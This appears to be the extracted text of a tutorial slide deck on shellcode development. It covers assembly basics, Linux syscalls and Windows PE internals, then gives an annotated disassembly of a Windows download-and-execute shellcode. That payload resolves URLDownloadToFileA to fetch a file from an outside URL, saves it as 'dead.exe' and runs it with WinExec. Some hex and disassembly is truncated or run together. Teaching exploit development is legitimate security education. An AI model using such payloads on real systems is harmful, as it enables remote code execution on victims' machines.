8/11/2019 Introduction to Shellcode Development
1/42
Ionut Popescu
Penetration Tester @ KPMG Romaniahttp://www.kpmg.com/ro/en/Pages/default.aspx
Administrator @ Romanian Security Teamhttps://www.rstforums.com
Introduction to
Shellcode Development
8/11/2019 Introduction to Shellcode Development
2/42
Contents
1. Introduction
2. C/C++ compiling3. Running shellcodes (do not)
4. Simple BOF example
5. Shellcode limitations
6. ASM introduction
7. Linux syscalls
8. Linux shellcode example
9. Windows shellcodes
10.Disassemble shellcode
11.Find kernel32
12.Find GetProcAddress
13.Find LoadLibrary14.Load a DLL
15.Call functions from DLL
16.Download and execute
17.More about shellcodes
18.Contact
8/11/2019 Introduction to Shellcode Development
3/42
Introduction
Shellcodes:
In computer security, a shellcode is a small piece of code used as the payload in the exploitation
of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the
attacker can control the compromised machine, but any piece of code that performs a similar task can be
called shellcode. Shellcode is commonly written in machine code.
Staged:
When the amount of data that an attacker can inject into the target process is too limited to
execute useful shellcode directly, it may be possible to execute it in stages. First, a small piece of shellcode
(stage 1) is executed. This code then downloads a larger piece of shellcode (stage 2) into the process's
memory and executes it.
Egg hunt:
This is another form of staged shellcode, which is used if an attacker can inject a larger
shellcode into the process but cannot determine where in the process it will end up. Small egg-huntshellcode is injected into the process at a predictable location and executed. This code then searches the
process's address space for the larger shellcode (the egg) and executes it.
Omlette:
This type of shellcode is similar to egg-hunt shellcode, but looks for multiple small blocks of data
(eggs) and recombines them into one larger block (the omelet) that is subsequently executed. This is used
when an attacker can only inject a number of small blocks of data into the process
8/11/2019 Introduction to Shellcode Development
4/42
C/C++ compiling
Shellcodemachine code
8/11/2019 Introduction to Shellcode Development
5/42
Running shellcodes (DO NOT)
DO NOT RUN on your machine! Use a testing purposes virtual machine!
It can contain: download and execute code, rm rf ...
8/11/2019 Introduction to Shellcode Development
6/42
8/11/2019 Introduction to Shellcode Development
7/42
Shellcode limitations
Limitations:
- NULL free (may not contain a NULL charactermost common)
- Small size (may have a limited space to run)
- Alphanumeric (may need to be alphanumeric)- Detection (may be detected by antivirus or IDS/IPS)
- Difficult (may really complicated to write your own shellcode)
What to do:
- Avoid \x00 instructions
- Egg hunter/omlette
- Encode shellcode (msfencode)
8/11/2019 Introduction to Shellcode Development
8/42
Assembly introduction
Processor understands only machine language instructions
which are strings of 1s and 0s. However machine language is too
obscure and complex for using in software development. So the low
level assembly language is designed for a specific family of processors
that represents various instructions in symbolic code and a more
understandable form.
It requires less memory and execution time;
It allows hardware-specific complex jobs in an easier way;
It is suitable for time-critical jobs;
It is most suitable for writing interrupt service routines and othermemory resident programs.
8/11/2019 Introduction to Shellcode Development
9/42
Processor registers
8/11/2019 Introduction to Shellcode Development
10/42
8/11/2019 Introduction to Shellcode Development
11/42
Processor instructionsmov dest, src ; The data specified by src is copied to dest. One restriction is that both
operands may not be memory operands.
mov eax, 3 ; Store 3 into EAX register (3 is immediate operand)
mov bx, ax ; Store the value of AX into the BX register
The ADD instruction is used to add integers.
add eax, 4 ; eax = eax + 4
add al, ah ; al = al + ah
The SUB instruction subtracts integers.
sub bx, 10 ; bx = bx - 10
sub ebx, edi ; ebx = ebxedi
The INC and DEC instructions increment or decrement values by one.
Since the one is an implicit operand, the machine code for INC and DEC is
smaller than for the equivalent ADD and SUB instructions.
inc ecx ; ecx++
dec dl ; dl--
8/11/2019 Introduction to Shellcode Development
12/42
Processor instructions
- ADD - Sum
- SUB - Substraction- INC - Increment
- DECDecrement
- CALLCall function
- CMPCompare operands
- DIVDevide
- JMPJump- MOVMove
- NOPNo operation
- MULMultiply
- POPPop data from stack
- PUSHPush data onto stack
- RETReturn from procedure
- XORExclusive OR
- LODSDLoad DWORD at address ESI into EAX
- XCHGExchange data
- LEALoad Effective address
8/11/2019 Introduction to Shellcode Development
13/42
Stack
push 99
push 88push 77
call foobar -------- push EBP
mov EBP, ESP
sub esp, 16
; Put parameters on the stack
; CALL will put next EIP on the stack
; Create a new stackframe
; Save EBP and replace it with ESP
; Stack space for local variables
8/11/2019 Introduction to Shellcode Development
14/42
8/11/2019 Introduction to Shellcode Development
15/42
Linux syscalls
int 0x80 is the assembly languageinstruction that is used to invoke system calls in
Linux on x86 (i.e., Intel-compatible) processors.
Each process starts out in user mode. When a
process makes a system call, it causes the
CPU to switch temporarily into kernel mode,
which has root (i.e., administrative) privileges,
including access to any memory space or other
resources on the system. When the kernel has
satisfied the process's request, it restores the
process to user mode.
When a system call is made, the calling of the
int 0x80 instruction is preceded by the storing inthe process register (i.e., a very small amount
of high-speed memory built into the processor)
of the system call number (i.e., the integer
assigned to each system call) for that system
call and any arguments (i.e., input data) for it.
8/11/2019 Introduction to Shellcode Development
16/42
Linux syscalls
SyscallKernel API (interface between usermode and kernelmode)
8/11/2019 Introduction to Shellcode Development
17/42
Linux shellcode example
jmp short ender
starter:
xor eax, eax ;clean up the registers
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4 ;syscall write
mov bl, 1 ;stdout is 1
pop ecx ;get the address of the string from the stack
mov dl, 5 ;length of the string
int 0x80
xor eax, eaxmov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
ender:
call starter ;put the address of the string on the stack
db 'hello'
8/11/2019 Introduction to Shellcode Development
18/42
Windows shellcodes
1. Find kernel32.dll
2. Find GetProcAddress
3. Find LoadLibrary
4. Load DLLs5. Call random functions
Common shellcodes:
- calc.exe (WinExec)
- Download and execute (URLDownloadToFileA)- MessageBox (user32.dll)
- Reverse TCP/Bind
8/11/2019 Introduction to Shellcode Development
19/42
Download and Execute
- URLDownloadToFile:
- http://msdn.microsoft.com/en-us/library/ie/ms775123(v=vs.85).aspx
- WinExec:
- http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393%28v=vs.85%29.aspx
- LoadLibrary:
- http://msdn.microsoft.com/en-us/library/windows/desktop/ms684175%28v=vs.85%29.aspx
- GetProcAddress:
- http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212%28v=vs.85%29.aspx
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
FARPROC WINAPI GetProcAddress(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName);
HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);
UINT WINAPI WinExec(
_In_ LPCSTR lpCmdLine,
_In_ UINT uCmdShow
);
8/11/2019 Introduction to Shellcode Development
20/42
8/11/2019 Introduction to Shellcode Development
21/42
General PE File Structure
8/11/2019 Introduction to Shellcode Development
22/42
MS-DOS Header
MS-DOS header only, opened in a hex editor. Notable strings: it starts
with MZ and it contains the following text: This program cannot be run
in DOS mode.
8/11/2019 Introduction to Shellcode Development
23/42
MS-DOS Header
typedefstruct_IMAGE_DOS_HEADER { // DOS .EXE headerWORD e_magic; // Magic numberWORD e_cblp; // Bytes on last page of fileWORD e_cp; // Pages in fileWORD e_crlc; // RelocationsWORD e_cparhdr; // Size of header in paragraphsWORD e_minalloc; // Minimum extra paragraphs neededWORD e_maxalloc; // Maximum extra paragraphs neededWORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP valueWORD e_csum; // Checksum
WORD e_ip; // Initial IP valueWORD e_cs; // Initial (relative) CS valueWORD e_lfarlc; // File address of relocation tableWORD e_ovno; // Overlay numberWORD e_res[4]; // Reserved wordsWORD e_oemid; // OEM identifier (for e_oeminfo)WORD e_oeminfo; // OEM information; e_oemid specificWORD e_res2[10]; // Reserved wordsLONG e_lfanew; // File address of new exe header
}IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;
BYTE8 bits (1 byte), unsigned char
CHAR8 bits (1 byte), char
DWORD 4 bytes (32 bits) unsigned long
LONG 4 bytes (32 bits) long
ULONGLONG 8 bytes (64 bits) unsigned long long
WORD 2 bytes (16 bits) unsigned short
8/11/2019 Introduction to Shellcode Development
24/42
PE Header
MS-DOS header specifies (e_lfanew) the start of PE header.
8/11/2019 Introduction to Shellcode Development
25/42
PE Header structures
typedefstruct_IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32,*PIMAGE_NT_HEADERS32;
typedefstruct_IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;
typedefstruct_IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
}
8/11/2019 Introduction to Shellcode Development
26/42
Data Directory
8/11/2019 Introduction to Shellcode Development
27/42
Image section table
#define IMAGE_SIZEOF_SHORT_NAME 8
typedefstruct_IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union{
DWORD PhysicalAddress;
DWORD VirtualSize;
}Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
}#define IMAGE_SIZEOF_SECTION_HEADER 40
Executable code section, .text
The .text section also contains the entry point mentioned earlier. The IAT also lives in the .text section immediately before the module entry point.
Data sections, .bss, .rdata, .data
The .bss section represents uninitialized data for the application, including all variables declared as static within a function or source module.
The .rdata section represents read-only data, such as literal strings, constants, and debug directory information.
All other variables (except automatic variables, which appear on the stack) are stored in the .data section. Basically, these are application or module
global variables.
The .rsrc section contains resource information for a module. It begins with a resource directory structure like most other sections, but this section's
data is further structured into a resource tree. The IMAGE_RESOURCE_DIRECTORY, shown below, forms the root and nodes of the tree.
8/11/2019 Introduction to Shellcode Development
28/42
PE exports & imports table
To parse the imports table, we need to iterate through all the functions with two pointers:
one for the name of the function and the other for the address of the function.
8/11/2019 Introduction to Shellcode Development
29/42
8/11/2019 Introduction to Shellcode Development
30/42
Convert text shellcodes
Step 1, text shellcode:
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B"
"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53"
"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81"
"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04""\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\ x64
Step 2, remove \x and quotes and save to a binary file:
33 C9 64 8B 41 30 8B 40 0C 8B
70 14 AD 96 AD 8B 58 10 8B 53
3C 03 D3 8B 52 78 03 D3 8B 72
20 03 F3 33 C9 41 AD 03 C3 8138 47 65 74 50 75 F4 81 78 04
72 6F 63 41 75 EB 81 78 08 64
HxD - Freeware Hex Editor and Disk Editor:
-http://mh-nexus.de/en/hxd/
8/11/2019 Introduction to Shellcode Development
31/42
Disassemble shellcodes
C:\Users\Ionut\AppData\Local\nasm>ndisasm.exe -b 32 download.bin
00000000 33C9 xor ecx,ecx
00000002 648B4130 mov eax,[fs:ecx+0x30]
00000006 8B400C mov eax,[eax+0xc]
00000009 8B7014 mov esi,[eax+0x14]
0000000C AD lodsd0000000D 96 xchg eax,esi
0000000E AD lodsd
0000000F 8B5810 mov ebx,[eax+0x10]
00000012 8B533C mov edx,[ebx+0x3c]
00000015 03D3 add edx,ebx
00000017 8B5278 mov edx,[edx+0x78]
0000001A 03D3 add edx,ebx
0000001C 8B7220 mov esi,[edx+0x20]0000001F 03F3 add esi,ebx
00000021 33C9 xor ecx,ecx
..................................................
NASM: http://www.nasm.us/
8/11/2019 Introduction to Shellcode Development
32/42
Process Environment Block
In computing the Process Environment Block (abbreviated PEB) is a data structure in Win32. It
is an opaque data structure that is used by the operating system internally, most of whose fields are notintended for use by anything other than the operating system.[1] Microsoft notes, in its MSDN Library
documentation which documents only a few of the fields that the structure "may be altered in future
versions of Windows".[2] The PEB contains data structures that apply across a whole process, including
global context, startup parameters, data structures for the program image loader, the program image base
address, and synchronization objects used to provide mutual exclusion for process-wide data structures.
struct PEB *GetPEB()
{
__asm
{
mov eax ,fs:30h
}
}
typedef struct _PEB {...
PPEB_LDR_DATA Ldr; // 0xC
...
} PEB, *PPEB;
typedef struct _PEB_LDR_DATA {
...
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList; // 0x14LIST_ENTRY InInitializationOrderModuleList;
...
} PEB_LDR_DATA, *PPEB_LDR_DATA;
8/11/2019 Introduction to Shellcode Development
33/42
Find kernel32.dll
00000000 33C9 xor ecx,ecx ; ECX = 0
00000002 648B4130 mov eax,[fs:ecx+0x30] ; EAX = PEB
00000006 8B400C mov eax,[eax+0xc] ; EAX = PEB->Ldr
00000009 8B7014 mov esi,[eax+0x14] ; ESI = PEB->Ldr.InMemOrder
0000000C AD lodsd ; EAX = Second module
0000000D 96 xchg eax,esi ; EAX = ESI, ESI = EAX0000000E AD lodsd ; EAX = Third (kernel32)
0000000F 8B5810 mov ebx,[eax+0x10] ; EBX = Base address
00000012 8B533C mov edx,[ebx+0x3c] ; EDX = DOS->e_lfanew
00000015 03D3 add edx,ebx ; EDX = PE Header
00000017 8B5278 mov edx,[edx+0x78] ; EDX = Offset export table
0000001A 03D3 add edx,ebx ; EDX = Export table
0000001C 8B7220 mov esi,[edx+0x20] ; ESI = Offset names table
0000001F 03F3 add esi,ebx ; ESI = Names table00000021 33C9 xor ecx,ecx ; EXC = 0
8/11/2019 Introduction to Shellcode Development
34/42
8/11/2019 Introduction to Shellcode Development
35/42
8/11/2019 Introduction to Shellcode Development
36/42
Load a DLL (urlmon.dll)
00000078 83C40C add esp,byte +0xc ; pop "LoadLibrary"
0000007B 59 pop ecx ; ECX = 0
0000007C 50 push eax ; EAX = LoadLibrary
0000007D 51 push ecx0000007E 66B96C6C mov cx,0x6c6c ; ll
00000082 51 push ecx
00000083 686F6E2E64 push dword 0x642e6e6f ; on.d
00000088 6875726C6D push dword 0x6d6c7275 ; urlm
0000008D 54 push esp ; "urlmon.dll"
0000008E FFD0 call eax ; LoadLibrary("urlmon.dll")
8/11/2019 Introduction to Shellcode Development
37/42
Get function from DLL
(URLDownloadToFile)
00000090 83C410 add esp,byte +0x10 ; Clean stack
00000093 8B542404 mov edx,[esp+0x4] ; EDX = GetProcAddress
00000097 33C9 xor ecx,ecx ; ECX = 0
00000099 51 push ecx
0000009A 66B96541 mov cx,0x4165 ; eA
0000009E 51 push ecx
0000009F 33C9 xor ecx,ecx ; ECX = 0
000000A1 686F46696C push dword 0x6c69466f ; oFil
000000A6 686F616454 push dword 0x5464616f ; oadT
000000AB 686F776E6C push dword 0x6c6e776f ; ownl
000000B0 6855524C44 push dword 0x444c5255 ; URLD
000000B5 54 push esp ; "URLDownloadToFileA"000000B6 50 push eax ; urlmon base address
000000B7 FFD2 call edx ; GetProc(URLDown)
8/11/2019 Introduction to Shellcode Development
38/42
Call URLDownloadToFile
000000B9 33C9 xor ecx,ecx ; ECX = 0
000000BB 8D542424 lea edx,[esp+0x24] ; EDX = "dead.exe"
000000BF 51 push ecx
000000C0 51 push ecx
000000C1 52 push edx ; "dead.exe"
000000C2 EB47 jmp short 0x10b ; Will see
000000C4 51 push ecx ; 0 from 10b000000C5 FFD0 call eax ; Download
...
; Will put URL pointer on the stack as return address (call)
0000010B E8B4FFFFFF call dword 0xc4
; http://bflow.security-portal.cz/down/xy.txt
00000110 687474703A push dword 0x3a707474
00000115 2F das
00000116 2F das
11762666C bound esp,[esi+0x6c]
...
G f f
8/11/2019 Introduction to Shellcode Development
39/42
Get function from DLL
(WinExec)
000000C7 83C41C add esp,byte +0x1c ; Clean stack (URL...)
000000CA 33C9 xor ecx,ecx ; ECX = 0
000000CC 5A pop edx ; EDX = GetProcAddress
000000CD 5B pop ebx
000000CE 53 push ebx ; EBX = kernel32 baseaddress
000000CF 52 push edx
000000D0 51 push ecx
000000D1 6878656361 push dword 0x61636578 ; xeca
000000D6 884C2403 mov [esp+0x3],cl
000000DA 6857696E45 push dword 0x456e6957 ; WinE
000000DF 54 push esp
000000E0 53 push ebx000000E1 FFD2 call edx ; GetProcAddress(WinExec)
8/11/2019 Introduction to Shellcode Development
40/42
WinExec and ExitProcess
000000E3 6A05 push byte +0x5 ; SW_SHOW
000000E5 8D4C2418 lea ecx,[esp+0x18] ; ECX = "dead.exe"
000000E9 51 push ecx
000000EA FFD0 call eax ; Call WinExec(exe, 5)
000000EC 83C40C add esp,byte +0xc ; Clean stack
000000EF 5A pop edx ; GetProcAddress
000000F0 5B pop ebx ; kernel32 base
000000F1 6865737361 push dword 0x61737365 ; essa
000000F6 836C240361 sub dword [esp+0x3],byte +0x61
000000FB 6850726F63 push dword 0x636f7250 ; Proc
00000100 6845786974 push dword 0x74697845 ; Exit00000105 54 push esp
00000106 53 push ebx
00000107 FFD2 call edx ; GetProc(Exec)
00000109 FFD0 call eax ; ExitProcess
8/11/2019 Introduction to Shellcode Development
41/42
8/11/2019 Introduction to Shellcode Development
42/42
Contact information